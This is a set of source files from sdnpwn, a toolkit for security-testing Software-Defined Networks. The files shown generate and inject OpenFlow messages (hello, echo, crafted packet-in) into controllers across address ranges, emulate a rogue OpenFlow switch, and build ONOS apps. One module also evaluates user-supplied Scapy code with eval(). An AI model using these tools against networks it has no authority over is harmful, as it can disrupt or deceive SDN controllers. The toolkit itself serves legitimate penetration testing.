netifaces.gateways()['default'][netifaces.AF_INET][0] 93 | except: 94 | sdnpwn.message("Could not determine gateway address. Please specify a target using the -t option.", sdnpwn.ERROR) 95 | return 96 | sdnpwn.message("Default gateway detected as " + dstIP, sdnpwn.NORMAL) 97 | 98 | try: 99 | if(testForSDN(testMethod, dstIP, count, interval)): 100 | sdnpwn.message("SDN detected!", sdnpwn.SUCCESS) 101 | else: 102 | sdnpwn.message("SDN not detected", sdnpwn.WARNING) 103 | except PermissionError as e: 104 | sdnpwn.message("Needs root!", sdnpwn.ERROR) 105 | 106 | 107 | -------------------------------------------------------------------------------- /modules/Utility/of_gen.py: -------------------------------------------------------------------------------- 1 | 2 | from pyof.foundation.basic_types import DPID, UBInt8, UBInt16, UBInt32, UBInt64, Pad, HWAddress, BinaryData 3 | 4 | #v0x01 is openflow version 5 | from pyof.v0x01.symmetric.hello import Hello 6 | from pyof.v0x01.controller2switch.features_reply import FeaturesReply 7 | from pyof.v0x01.controller2switch.features_request import FeaturesRequest 8 | from pyof.v0x01.controller2switch.barrier_reply import BarrierReply 9 | from pyof.v0x01.symmetric.echo_reply import EchoReply 10 | from pyof.v0x01.symmetric.echo_request import EchoRequest 11 | from pyof.v0x01.controller2switch.stats_request import StatsRequest 12 | from pyof.v0x01.controller2switch.stats_reply import StatsReply 13 | from pyof.v0x01.controller2switch.get_config_reply import GetConfigReply 14 | from pyof.v0x01.common.phy_port import PhyPort, PortConfig, PortState, PortFeatures 15 | from pyof.v0x01.common.header import Header 16 | from pyof.v0x01.asynchronous.packet_in import PacketIn, PacketInReason 17 | 18 | from ipaddress import ip_network 19 | import socket 20 | import signal 21 | import base64 22 | import codecs 23 | from time import sleep 24 | 25 | import modules.sdnpwn.sdnpwn_common as sdnpwn 26 | from modules.sdnpwn.sdnpwn_of_helper import * 27 | 28 | def info(): 29 | return "Generate OpenFlow messages. Currently supports OpenFlow V1.0 only." 30 | 31 | def usage(): 32 | 33 | sdnpwn.addUsage("-t | --target", "Network or host address (i.e. 192.168.1.0/24)", True) 34 | sdnpwn.addUsage("-p | --port", "Ports to connect to (Default is 6633,6634,6653)") 35 | sdnpwn.addUsage("-v | --verbose", "Enable verbose output") 36 | sdnpwn.addUsage("-s | --socket-timeout", "Timeout for connection in seconds (Default is 2)") 37 | sdnpwn.addUsage("-c | --count", "Number of messages to send") 38 | sdnpwn.addUsage("-d | --delay", "Delay between messages") 39 | 40 | sdnpwn.addUsage("--hold-open", "Keep socket open after sending message") 41 | 42 | sdnpwn.addUsage("--hello", "Send OF Hello message") 43 | sdnpwn.addUsage("--echo-request", "Send an OF Echo Request") 44 | 45 | sdnpwn.addUsage("--packet-in", "Send an OF packet-in") 46 | sdnpwn.addUsage(" --xid", "XID for OF header") 47 | sdnpwn.addUsage(" --buffer-id", "Buffer ID for packet-in") 48 | sdnpwn.addUsage(" --total-length", "Length of data in packet-in (Calculated by default)") 49 | sdnpwn.addUsage(" --in-port", "Port packet was received on") 50 | sdnpwn.addUsage(" --reason", "Reason for packet-in. Can be 'match' or 'action'") 51 | sdnpwn.addUsage(" --data-raw", "Packet-in data as hex") 52 | sdnpwn.addUsage(" --data-scapy", "Packet-in data as scapy object (i.e. Ether()/IP()/TCP())") 53 | 54 | return sdnpwn.getUsage() 55 | 56 | def signal_handler(signal, frame): 57 | print("") 58 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 59 | exit(0) 60 | 61 | def run(params): 62 | 63 | targets = None #Full list of targets 64 | 65 | verbose = False 66 | 67 | signal.signal(signal.SIGINT, signal_handler) 68 | 69 | target = sdnpwn.getArg(["--target", "-t"], params) 70 | port = sdnpwn.getArg(["--port", "-p"], params) 71 | sockTimeout = sdnpwn.getArg(["--socket-timeout", "-s"], params, 2) 72 | count = int(sdnpwn.getArg(["--count", "-c"], params, 1)) 73 | delay = float(sdnpwn.getArg(["--delay", "-d"], params, 1)) 74 | verbose = sdnpwn.checkArg(["--verbose", "-v"], params) 75 | 76 | if(target == None): 77 | print(info()) 78 | print(usage()) 79 | return 80 | else: 81 | startIndex = 0 82 | endIndex = 1 83 | if("/" in target): 84 | targets = ip_network(target) 85 | startIndex = 1 86 | endIndex = targets.num_addresses-2 87 | else: 88 | targets = ip_network(str(target) + "/32") 89 | 90 | if(port == None): 91 | sdnpwn.message("No ports given, using 6633,6634, and 6653.", sdnpwn.NORMAL) 92 | port = "6633,6634,6653" 93 | 94 | for host in range(startIndex, endIndex): 95 | targetHost = targets[host].exploded 96 | for p in port.split(","): 97 | for c in range(count): 98 | sleep(delay) 99 | sock = getSocket(targetHost, p, float(sockTimeout)) 100 | if(sock != None): 101 | targetLabel = str(targetHost) + ":" + str(p) 102 | if(verbose == True): 103 | sdnpwn.message("Connected to " + str(targetHost) + ":" + str(p), sdnpwn.NORMAL) 104 | #print(params) 105 | 106 | #for msg in params: 107 | #action = { 108 | #"--hello":sendHello, 109 | #"echo-req":sendEchoRequest 110 | #}[msg] 111 | #action(sock) 112 | 113 | #TODO: Remove following items in favour of above 114 | if("--hello" in params): 115 | sdnpwn.message("Sending OF Hello to " + str(targetHost), sdnpwn.NORMAL) 116 | ofHello = Hello(xid=5) 117 | sock.send(ofHello.pack()) 118 | 119 | if("--echo-request" in params): 120 | sdnpwn.message("Sending OF Echo Request to " + str(targetHost), sdnpwn.NORMAL) 121 | echoReq = EchoRequest(xid=5) 122 | sock.send(echoReq.pack()) 123 | 124 | 125 | if("--packet-in" in params): 126 | xid = 13 127 | bufferId = 0 128 | totalLength = -1 129 | inPort = 0 130 | reason = "" 131 | data = b'' 132 | try: 133 | xid = params[params.index("--xid")+1] # int 134 | bufferId = params[params.index("--buffer-id")+1] # int 135 | if("--total-length" in params): 136 | totalLength = params[params.index("--total-length")+1] # int Full length of frame 137 | inPort = params[params.index("--in-port")+1] # int 138 | reason = params[params.index("--reason")+1] #match or action 139 | if(reason == "match"): 140 | reason = 0 #PacketInReason.OFPR_MATCH 141 | elif(reason == "action"): 142 | reason = 1 #PacketInReason.OFPR_ACTION 143 | else: 144 | sdnpwn.message("Invalid 'reason' argument given! Should be 'match' or 'action'", sdnpwn.ERROR) 145 | exit(0) 146 | 147 | dataBin = b'' 148 | if("--data-raw" in params): 149 | data = params[params.index("--data-raw")+1] #Data in bytes 150 | dataBin = codecs.decode(data, 'hex_codec') 151 | elif("--data-scapy" in params): 152 | try: 153 | cmd = params[params.index("--data-scapy")+1] #Data as scapy code 154 | pkt = eval(cmd) #Get packet from scapy objects 155 | dataBin = codecs.decode(scapy_packet_to_string(pkt), 'hex_codec') 156 | dataBin = bytes(pkt) 157 | except Exception as e: 158 | sdnpwn.message("Error building Scapy packet", sdnpwn.ERROR) 159 | print(e) 160 | 161 | except Exception as e: 162 | sdnpwn.message("Missing paramerters for OF Packet In!", sdnpwn.ERROR) 163 | print(e) 164 | 165 | if(totalLength == -1): 166 | totalLength = len(dataBin) 167 | pktIn = PacketIn(xid=int(xid), buffer_id=int(bufferId), total_len=int(totalLength), in_port=int(inPort), reason=int(reason), data=dataBin) 168 | sdnpwn.message("Sending OF Packet In to " + str(targetHost), sdnpwn.NORMAL) 169 | sock.send(pktIn.pack()) 170 | 171 | if("--hold-open" not in params): 172 | sock.close() 173 | else: 174 | sdnpwn.message("Holding socket open", sdnpwn.NORMAL) 175 | 176 | else: 177 | sdnpwn.message("Could not connect to " + targetHost + " on socket " + str(p), sdnpwn.WARNING) 178 | 179 | if("--hold-open" in params): 180 | sdnpwn.message("Keeping sockets open. Use CTRL+C to stop...", sdnpwn.NORMAL) 181 | while(1): 182 | sleep(2) 183 | 184 | def getSocket(ip, port, timeout=2): 185 | try: 186 | comm_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 187 | comm_sock.settimeout(timeout) 188 | comm_sock.connect((ip, int(port))) 189 | return comm_sock 190 | except Exception as e: 191 | #print(e) 192 | return None 193 | 194 | def scapy_packet_to_string(pkt): 195 | pktSplit = str(pkt).split("\\x") 196 | pktSplit.pop(0) 197 | for i in range(len(pktSplit)): 198 | pktSplit[i] = pktSplit[i][:2] 199 | return ''.join(pktSplit) 200 | 201 | 202 | 203 | -------------------------------------------------------------------------------- /modules/Utility/of_switch.py: -------------------------------------------------------------------------------- 1 | 2 | import signal 3 | 4 | import modules.sdnpwn.sdnpwn_common as sdnpwn 5 | #import modules.sdnpwn.sdnpwn_of_helper as of 6 | import modules.sdnpwn.ofv10.sdnpwn_ofv10_switch as ofv10 7 | import modules.sdnpwn.ofv13.sdnpwn_ofv13_switch as ofv13 8 | import socket 9 | import json 10 | import threading 11 | 12 | from time import sleep 13 | 14 | def signal_handler(signal, frame): 15 | #Handle Ctrl+C here 16 | print("") 17 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 18 | exit() 19 | return 20 | 21 | def info(): 22 | #Description of the what the module is and what it does. This function should return a string. 23 | return "OpenFlow Switch" 24 | 25 | def usage(): 26 | ''' 27 | How to use the module. This function should return a string. 28 | sdnpwn_common contains functions to print the module usage in a table. 29 | These functions are "addUsage", "getUsage", and "printUsage". "addUsage" and "getUsage" are shown below. 30 | The parameters for addUsage are option, option description, and required (True or False) 31 | ''' 32 | sdnpwn.addUsage("-V | --of-version", "Openflow version (1.0 or 1.3) (Default Openflow 1.0)", False) 33 | sdnpwn.addUsage("-c | --controller", "IP address of controller (Default 127.0.0.1)", False) 34 | sdnpwn.addUsage("-p | --port", "Openflow port on controller (Default 6633)", False) 35 | sdnpwn.addUsage("-r | --config", "Switch configuration file to use", True) 36 | sdnpwn.addUsage("-l | --listen", "Port for switch relay proxy", False) 37 | sdnpwn.addUsage("-o | --output-to", "Interface to forward packet out message payloads", False) 38 | sdnpwn.addUsage("-f | --output-filter", "Filter packets by output port. Use with -o", False) 39 | sdnpwn.addUsage("-s | --save-connection-data", "Save basic connection data and flows received from the controller to files", False) 40 | sdnpwn.addUsage("-v | --verbose", "Enable verbose output", False) 41 | 42 | return sdnpwn.getUsage() 43 | 44 | def run(params): 45 | 46 | verbose = False 47 | saveData = False 48 | 49 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 50 | 51 | ofVersion = sdnpwn.getArg(["--of-version", "-V"], params, "1.0") 52 | controllerIP = sdnpwn.getArg(["--controller", "-c"], params, "127.0.0.1") 53 | controllerPort = sdnpwn.getArg(["--port", "-p"], params, 6633) 54 | configFile = sdnpwn.getArg(["--config", "-r"], params) 55 | 56 | packetOutForwardingIFace = sdnpwn.getArg(["--output-to", "-o"], params) 57 | 58 | packetOutForwardingFilter = sdnpwn.getArg(["--output-filter", "-f"], params) 59 | 60 | saveData = sdnpwn.checkArg(["--save-connection-data", "-s"], params) 61 | 62 | verbose = sdnpwn.checkArg(["--verbose", "-v"], params) 63 | 64 | if(configFile == ""): 65 | sdnpwn.message("Please provide a switch configuration file using the --config option", sdnpwn.ERROR) 66 | return 67 | 68 | configRaw = open(configFile, 'r') 69 | config = "" 70 | try: 71 | config = json.load(configRaw) 72 | except Exception as e: 73 | sdnpwn.message("Could not read config as JSON file. Please check syntax.", sdnpwn.ERROR) 74 | sdnpwn.message(e, sdnpwn.VERBOSE) 75 | 76 | config = config["of-switch"] 77 | 78 | if(ofVersion == "1.3"): 79 | sdnpwn.message("Creating new Openflow 1.3 switch instance", sdnpwn.NORMAL) 80 | ofSwitch = ofv13.OpenFlowV13Switch() 81 | else: 82 | sdnpwn.message("Creating new Openflow 1.0 switch instance", sdnpwn.NORMAL) 83 | ofSwitch = ofv10.OpenFlowV10Switch() 84 | 85 | ofSwitch.loadConfiguration(config) 86 | ofSwitch.auto_handle_Messages = True 87 | ofSwitch.save_connection_data = saveData 88 | ofSwitch.enable_output = verbose 89 | 90 | if(sdnpwn.checkArg(["--listen", "-l"], params)): 91 | rsPort = sdnpwn.getArg(["--listen", "-l"], params) 92 | rsThread = threading.Thread(target=ofSwitch.activateRelaySocket, args=(int(rsPort),)) 93 | rsThread.setDaemon(True) 94 | rsThread.start() 95 | 96 | if(packetOutForwardingIFace is not None): 97 | ofSwitch.forward_packet_out_payload = True 98 | ofSwitch.forward_packet_out_iface = packetOutForwardingIFace 99 | if(packetOutForwardingFilter is not None): 100 | ofSwitch.forward_packet_out_port_filter = packetOutForwardingFilter 101 | 102 | ofSwitch.connect(controllerIP, int(controllerPort)) 103 | 104 | -------------------------------------------------------------------------------- /modules/Utility/onos_app.py: -------------------------------------------------------------------------------- 1 | 2 | import signal 3 | import shutil 4 | from os import listdir 5 | from os.path import isfile,join 6 | import datetime 7 | from subprocess import call 8 | 9 | import modules.sdnpwn.sdnpwn_common as sdnpwn 10 | 11 | def signal_handler(signal, frame): 12 | #Handle Ctrl+C here 13 | print("") 14 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 15 | exit(0) 16 | 17 | def info(): 18 | return "Build ONOS applications from templates in apps directory." 19 | 20 | def usage(): 21 | 22 | sdnpwn.addUsage(["-c", "--configure"], "Configure app before building", False) 23 | sdnpwn.addUsage(["-b", "--build"], "Root directory of app to build", True) 24 | sdnpwn.addUsage(["-k", "--keep-source"], "Keep source of generated application", False) 25 | 26 | return sdnpwn.getUsage() 27 | 28 | def run(params): 29 | 30 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 31 | 32 | appDir = sdnpwn.getArg(["-b", "--build"], params, None) 33 | doConfig = sdnpwn.checkArg(["-c", "--configure"], params) 34 | 35 | if(appDir == None): 36 | sdnpwn.message("No app directory specified", sdnpwn.ERROR) 37 | return 38 | 39 | if(doConfig): 40 | try: 41 | with open(appDir + "/sdnpwn_options", 'r+') as confFile: 42 | #confFile = open(appDir + "/sdnpwn_options", 'r+') 43 | confOut = "" 44 | for l in confFile.readlines(): 45 | if len(l) > 0 and l[0] == "$": 46 | conf = l.split("=") 47 | confVal = input(conf[0] + " [" + conf[1].replace("\n","") + "]: ") or conf[1].replace("\n","") 48 | confOut += conf[0] + "=" + confVal + "\n" 49 | 50 | confFile.seek(0) 51 | confFile.write(confOut) 52 | 53 | except Exception as e: 54 | sdnpwn.printWarning("Error while setting configuration!") 55 | print(e) 56 | return 57 | 58 | sdnpwn.printNormal("Building " + appDir) 59 | 60 | buildDir = appDir + "-building-temp" 61 | try: 62 | shutil.copytree(appDir, buildDir) 63 | 64 | config= {} 65 | with open(buildDir + "/sdnpwn_options", 'r') as confFile: 66 | for l in confFile.readlines(): 67 | if len(l) > 0 and l[0] == "$": 68 | conf = l.split("=") 69 | config[conf[0]] = conf[1].replace("\n","") 70 | 71 | sdnpwn.printNormal("Got configuration") 72 | 73 | with open(buildDir + "/pom.xml", 'r+') as pomFile: 74 | pomFileData = pomFile.read() 75 | pomFile.seek(0) 76 | for k in config.keys(): 77 | pomFileData = pomFileData.replace(k, config[k]) 78 | 79 | pomFile.write(pomFileData) 80 | 81 | javaFilesLocation = buildDir + "/src/main/java/org/onosproject/app/" 82 | javaFiles = [f for f in listdir(javaFilesLocation) if isfile(join(javaFilesLocation, f))] 83 | 84 | for j in javaFiles: 85 | 86 | #with open(javaFilesLocation + j, 'r+') as javaFile: 87 | #javaFileData = javaFile.read() 88 | #javaFile.seek(0) 89 | #Above method won't overwrite the whole file for some reason. Should check out why. 90 | javaFile = open(javaFilesLocation + j, 'r') 91 | javaFileData = javaFile.read() 92 | javaFile.close() 93 | for k in config.keys(): 94 | javaFileData = javaFileData.replace(k, config[k]) 95 | 96 | javaFile = open(javaFilesLocation + j, 'w') 97 | javaFile.write(javaFileData) 98 | javaFile.close() 99 | 100 | sdnpwn.printSuccess("Files updated with configuration") 101 | 102 | sdnpwn.printNormal("Compiling app with maven") 103 | 104 | call(['mvn', '-f', buildDir, 'clean', 'install']) 105 | 106 | shutil.copy(buildDir + "/target/" + config["$APP_NAME"] + "-1.0-SNAPSHOT.oar", "apps/compiled_apps/") 107 | shutil.copy(buildDir + "/target/" + config["$APP_NAME"] + "-1.0-SNAPSHOT.jar", "apps/compiled_apps/") 108 | 109 | sdnpwn.printSuccess("OAR and JAR file moved to apps/compiled_apps") 110 | 111 | if(sdnpwn.checkArg(["-k", "--keep-source"], params)): 112 | shutil.copytree(buildDir, appDir + "-" + str(datetime.datetime.now()).split(" ")[0]) 113 | sdnpwn.printNormal("App source saved in " + appDir + "-" + str(datetime.datetime.now()).split(" ")[0]) 114 | 115 | 116 | except Exception as e: 117 | sdnpwn.printError("Error building " + appDir) 118 | print(e) 119 | finally: 120 | shutil.rmtree(buildDir) 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smythtech/sdnpwn/008057493d5871edadfef270ee96ee121aa8cfef/modules/__init__.py -------------------------------------------------------------------------------- /modules/sdnpwn/help.py: -------------------------------------------------------------------------------- 1 | 2 | import signal 3 | 4 | import modules.sdnpwn.sdnpwn_common as sdnpwn 5 | 6 | def signal_handler(signal, frame): 7 | #Handle Ctrl+C here 8 | print("") 9 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 10 | return 11 | 12 | def info(): 13 | return "Information on getting started with sdnpwn" 14 | 15 | def usage(): 16 | 17 | sdnpwn.addUsage("", "", False) 18 | 19 | return sdnpwn.getUsage() 20 | 21 | def run(params): 22 | 23 | print("") 24 | print("") 25 | 26 | print(''' 27 | _ 28 | | | 29 | ___ __| |_ __ _ ____ ___ __ 30 | / __|/ _` | '_ \| '_ \ \ /\ / / '_ \ 31 | \__ \ (_| | | | | |_) \ V V /| | | | 32 | |___/\__,_|_| |_| .__/ \_/\_/ |_| |_| 33 | | | 34 | |_| 35 | ''') 36 | 37 | print("Author: Dylan Smyth") 38 | print("Site: https://smythtech.net") 39 | print("Site: https://sdnpwn.net") 40 | print("Version: 1.8.0 ") 41 | print("") 42 | 43 | sdnpwn.message(" What is sdnpwn? ", sdnpwn.SUCCESS) 44 | print("sdnpwn is a toolkit and framework for testing the security of Software-Defined Networks (SDNs).") 45 | print("") 46 | 47 | sdnpwn.message("Usage", sdnpwn.SUCCESS) 48 | print('''Functionality in sdnpwn is divided into different modules. Each attack or attack type is available from a certain module. 49 | 50 | Modules can be executed like so: 51 | 52 | ./sdnpwn.py 53 | 54 | The mods module can be used to list all available modules: 55 | 56 | ./sdnpwn.py mods 57 | 58 | More information about a certain module can be accessed using the info module: 59 | 60 | ./sdnpwn.py info mods 61 | 62 | The above command would retrieve more information about the mods module, such as a description and available options.''') 63 | print("") 64 | 65 | sdnpwn.message("Creating and managing modules", sdnpwn.SUCCESS) 66 | print('''Many sdnpwn modules use functionality from other modules. Each sdnpwn module is a Python module in itself so modules can be imported and functionality accessed. New modules can be created using the following command: 67 | 68 | ./sdnpwn.py mods -n 69 | 70 | Running the above command will create a new sdnpwn module from a template. 71 | Modules can be removed with the following command: 72 | 73 | ./sdnpwn.py mods -r ''') 74 | print("") 75 | 76 | sdnpwn.message("Further Information", sdnpwn.SUCCESS) 77 | print("Check out https://sdnpwn.net for articles and tutorials on using various sdnpwn modules and the attacks they use.") 78 | print("") 79 | 80 | 81 | 82 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 83 | 84 | -------------------------------------------------------------------------------- /modules/sdnpwn/info.py: -------------------------------------------------------------------------------- 1 | 2 | import modules.sdnpwn.sdnpwn_common as com 3 | import importlib.machinery 4 | import os 5 | 6 | def info(): 7 | return "Prints module information." 8 | 9 | def usage(): 10 | return "info ..." 11 | 12 | def run(params): 13 | if(len(params) == 1): 14 | com.message("No module name given!", com.ERROR) 15 | else: 16 | #try: 17 | params.pop(0) 18 | 19 | for modName in params: 20 | try: 21 | modName = modName.replace("-", "_") 22 | moduleLocation = "" 23 | for direc, direcs, filenames in os.walk('modules/'): 24 | for filename in filenames: 25 | if(filename == (modName + ".py")): 26 | moduleLocation = direc + "/" + (modName + ".py") 27 | break 28 | loader = importlib.machinery.SourceFileLoader(modName, moduleLocation) 29 | mod = loader.load_module() 30 | com.message("Module Name: " + modName, com.NORMAL) 31 | com.message("Description: " + mod.info(), com.NORMAL) 32 | com.message("Usage:", com.NORMAL) 33 | print(mod.usage()) 34 | except IOError: 35 | com.message("Module " + m + " does not exist!", com.ERROR) 36 | #except: 37 | #com.message("Error", com.ERROR) 38 | 39 | 40 | -------------------------------------------------------------------------------- /modules/sdnpwn/mods.py: -------------------------------------------------------------------------------- 1 | 2 | import modules.sdnpwn.sdnpwn_common as sdnpwn 3 | import imp 4 | import subprocess 5 | import os 6 | 7 | def info(): 8 | return "Displays available modules." 9 | 10 | def usage(): 11 | sdnpwn.addUsage("-l", "List all available modules") 12 | sdnpwn.addUsage("-s", "Search available modules") 13 | sdnpwn.addUsage("-n", "Create new module from base template") 14 | sdnpwn.addUsage("-c", "Module catagory. 'A' = Attack, 'R' = Reconnaissance, 'U' = Utility (i.e. mods -n attack_mod -c A.") 15 | sdnpwn.addUsage("-t", "Specify template for new module (Optional with -n)") 16 | sdnpwn.addUsage("-r", "Delete module by name") 17 | 18 | return sdnpwn.getUsage() 19 | 20 | def run(params): 21 | if(len(params) == 1 or "-l" in params): 22 | printModules(None); 23 | 24 | if("-n" in params): 25 | try: 26 | templateName = "module_base_template" 27 | newModName = params[params.index("-n")+1] 28 | if(newModName in getModuleList()): 29 | sdnpwn.message("Module already exists!", sdnpwn.WARNING) 30 | return 31 | if("-t" in params): 32 | templateName = params[params.index("-t")+1] 33 | if("-c" in params): 34 | cat = params[params.index("-c")+1] 35 | catagory = { 36 | "A": "Attack", 37 | "R": "Reconnaissance", 38 | "U": "Utility" 39 | }[cat] 40 | else: 41 | sdnpwn.message("Please provide a catagory for the module (i.e. Attack (A), Reconnaissance (R), Utility (U))", sdnpwn.ERROR) 42 | return 43 | 44 | subprocess.call(["cp", "modules/sdnpwn/" + templateName.replace("-", "_") + ".py", "modules/" + catagory + "/" + newModName.replace("-", "_") + ".py"]) 45 | except: 46 | sdnpwn.message("Could not create new module", sdnpwn.ERROR) 47 | 48 | if("-s" in params): 49 | try: 50 | searchString = params[params.index("-s")+1] 51 | printModules(searchString) 52 | except: 53 | sdnpwn.message("Error searching for module", sdnpwn.ERROR) 54 | 55 | if("-r" in params): 56 | try: 57 | moduleName = params[params.index("-r")+1] 58 | if("-c" in params): 59 | cat = params[params.index("-c")+1] 60 | catagory = { 61 | "A": "Attack", 62 | "R": "Reconnaissance", 63 | "U": "Utility" 64 | }[cat] 65 | else: 66 | sdnpwn.message("Please provide a catagory for the module (i.e. Attack (A), Reconnaissance (R), Utility (U))", sdnpwn.ERROR) 67 | return 68 | 69 | confirm = input("Are you sure you would like to remove '" + moduleName + "'? [y/n]: ") 70 | if(confirm == "y"): 71 | os.remove("modules/" + catagory + "/" + moduleName.replace("-", "_") + ".py") 72 | try: 73 | os.remove("modules/" + catagory + "/" + moduleName.replace("-", "_") + ".pyc") 74 | except: 75 | pass 76 | sdnpwn.message("Module '" + moduleName + "' removed.", sdnpwn.WARNING) 77 | except Exception as e: 78 | sdnpwn.message("Error removing module", sdnpwn.ERROR) 79 | print(e) 80 | 81 | def getModuleFileList(): 82 | modules = [] 83 | for direc, direcs, filenames in os.walk('modules/'): 84 | for filename in filenames: 85 | modules.append(filename) 86 | 87 | return sorted(modules) 88 | 89 | def getModuleList(): 90 | ignoreFileList = ["__init__", "template", ".pyc", "sdnpwn"] 91 | ignoreDirList = ["", "__pycache__", "ofv10", "ofv13"] # Empty dir name omits contents of modules directory 92 | modules = {} 93 | for direc, direcs, filenames in os.walk('modules/'): 94 | dir = direc.split("/")[-1] 95 | if(not any(dir == ignore for ignore in ignoreDirList)): 96 | modules[dir] = [] 97 | for filename in filenames: 98 | if(not any(ignore in filename for ignore in ignoreFileList)): 99 | modules[dir].append((filename.split(".py")[0].replace("_", "-"))) 100 | 101 | for m in modules: 102 | modules[m] = sorted(modules[m]) 103 | 104 | return modules 105 | 106 | def printModules(searchString): 107 | if(searchString is None): 108 | sdnpwn.message("Available modules:", sdnpwn.SUCCESS) 109 | modules = getModuleList() 110 | for m in modules: 111 | sdnpwn.message(m, sdnpwn.NORMAL) 112 | for i in modules[m]: 113 | print("\t- " + (i.split(".py")[0]).replace("_", "-")) 114 | else: 115 | sdnpwn.message("Available modules (Matching '" + searchString + "'):", sdnpwn.SUCCESS) 116 | modules = getModuleList() 117 | for m in modules: 118 | for i in modules[m]: 119 | if(searchString in i): 120 | sdnpwn.message(m + ": " + (i.split(".py")[0]).replace("_", "-"), sdnpwn.NORMAL) 121 | -------------------------------------------------------------------------------- /modules/sdnpwn/module_base_template.py: -------------------------------------------------------------------------------- 1 | 2 | import signal 3 | 4 | import modules.sdnpwn.sdnpwn_common as sdnpwn 5 | 6 | def signal_handler(signal, frame): 7 | #Handle Ctrl+C here 8 | print("") 9 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 10 | return 11 | 12 | def info(): 13 | #Description of the what the module is and what it does. This function should return a string. 14 | return "My Description" 15 | 16 | def usage(): 17 | ''' 18 | How to use the module. This function should return a string. 19 | sdnpwn_common contains functions to print the module usage in a table. 20 | These functions are "addUsage", "getUsage", and "printUsage". "addUsage" and "getUsage" are shown below. 21 | The parameters for addUsage are option, option description, and required (True or False) 22 | ''' 23 | sdnpwn.addUsage("-v", "Enable verbose output", False) 24 | 25 | return sdnpwn.getUsage() 26 | 27 | def run(params): 28 | sdnpwn.message("Module template created!", sdnpwn.SUCCESS) 29 | sdnpwn.message("Module template created!", sdnpwn.WARNING) 30 | sdnpwn.message("Module template created!", sdnpwn.ERROR) 31 | sdnpwn.message("Module template created!", sdnpwn.NORMAL) 32 | sdnpwn.message("Module template created!", sdnpwn.VERBOSE) 33 | print("Params are:") 34 | print(params) 35 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 36 | 37 | -------------------------------------------------------------------------------- /modules/sdnpwn/ofv10/sdnpwn_ofv10_flow.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | from pyof.v0x01.controller2switch.common import FlowStats 4 | from pyof.v0x01.common.action import ActionType as ActionType 5 | from pyof.v0x01.common.action import ActionHeader as ActionHeader 6 | from pyof.v0x01.common.phy_port import PhyPort, PortConfig, PortState, Port 7 | 8 | from random import randint 9 | import socket 10 | from struct import pack, unpack 11 | 12 | ''' 13 | 14 | Classes that define Openflow Flows 15 | 16 | ''' 17 | 18 | # Openflow 1.0 Flow 19 | class Flow(): 20 | match = None 21 | cookie = None 22 | command = None 23 | idle_timeout = None 24 | hard_timeout = None 25 | priority = None 26 | buffer_id = None 27 | out_port = None 28 | flags = None 29 | actions = None 30 | 31 | length = None 32 | duration_sec = None 33 | duration_nsec = None 34 | packet_count = None 35 | byte_count = None 36 | 37 | table_id = None 38 | 39 | 40 | def __init__(self, match=None, cookie=0, 41 | idle_timeout=0, hard_timeout=0, priority=0, 42 | buffer_id=0, out_port=Port.OFPP_NONE, 43 | flags=0, actions=None 44 | ): 45 | self.match = match 46 | self.cookie = cookie 47 | self.idle_timeout = idle_timeout 48 | self.hard_timeout = hard_timeout 49 | self.priority = priority 50 | self.buffer_id = buffer_id 51 | self.out_port = out_port 52 | self.flags = flags 53 | self.actions = [] if actions is None else actions 54 | 55 | self.length = 0 56 | self.duration_sec = 0 57 | self.duration_nsec = 0 58 | self.packet_count = 0 59 | self.byte_count = 0 60 | 61 | self.table_id = 1 62 | 63 | def getFlowStats(self): 64 | stats = FlowStats(self.length, self.table_id, self.match, 65 | self.duration_sec, self.duration_nsec, self.priority, 66 | self.idle_timeout, self.hard_timeout, self.cookie, 67 | self.packet_count, self.byte_count, self.actions) 68 | 69 | return stats 70 | 71 | def toString(self): 72 | return ("{\"cookie\": \"" + (str(self.cookie) if self.cookie != 0 else "*") + "\", " 73 | "\"idle_timeout\": \"" + str(self.idle_timeout) + "\", " 74 | "\"hard_timeout\": \"" + str(self.hard_timeout) + "\", " 75 | "\"priority\": \"" + str(self.priority) + "\", " 76 | "\"buffer_id\": \"" + str(self.buffer_id) + "\", " 77 | "\"out_port\": \"" + self.portToString(self.out_port) + "\", " 78 | "\"flags\": \"" + str(self.flags) + "\", " 79 | "\"actions\": {" + self.actionsToString(self.actions) + "}, " 80 | "\"match\": {" + self.matchToString(self.match) + "}" 81 | "}" 82 | ) 83 | 84 | def portToString(self, port_no): 85 | try: 86 | port = { 87 | '0xff00': "OFPP_MAX", 88 | '0xfff8': "OFPP_IN_PORT", 89 | '0xfff9': "OFPP_TABLE", 90 | '0xfffa': "OFPP_NORMAL", 91 | '0xfffb': "OFPP_FLOOD", 92 | '0xfffc': "OFPP_ALL", 93 | '0xfffd': "OFPP_CONTROLLER", 94 | '0xfffe': "OFPP_LOCAL", 95 | '0xffff': "OFPP_NONE" 96 | }[str(hex(int(port_no)))] 97 | except: 98 | return str(port_no) 99 | return port 100 | 101 | def actionsToString(self, actions): 102 | actionHeaders = "" 103 | if(isinstance(actions, list)): 104 | for a in actions: 105 | actionHeaders += (self.getActionHeaderDetails(a))(a) + "," 106 | else: 107 | actionHeaders += (self.getActionHeaderDetails(actions))(actions) 108 | actionHeaders += "," 109 | 110 | return "" + actionHeaders[:-1] + "" 111 | 112 | def getActionHeaderDetails(self, action): 113 | return { 114 | ActionType.OFPAT_OUTPUT: (lambda action: ("\"OFPAT_OUTPUT\": \"" + self.portToString(action.port) + "\"")), 115 | ActionType.OFPAT_SET_VLAN_VID: (lambda action: ("\"OFPAT_SET_VLAN_VID\": \"Vlan ID " + str(action.vlan_id) + "\"")), 116 | ActionType.OFPAT_SET_VLAN_PCP: (lambda action: ("\"OFPAT_SET_VLAN_PCP\": \"Vlan PCP" + str(action.vlan_pcp) + "\"")), 117 | ActionType.OFPAT_STRIP_VLAN: (lambda action: ("\"OFPAT_STRIP_VLAN\": \"" + str(action.port) + "\"")), 118 | 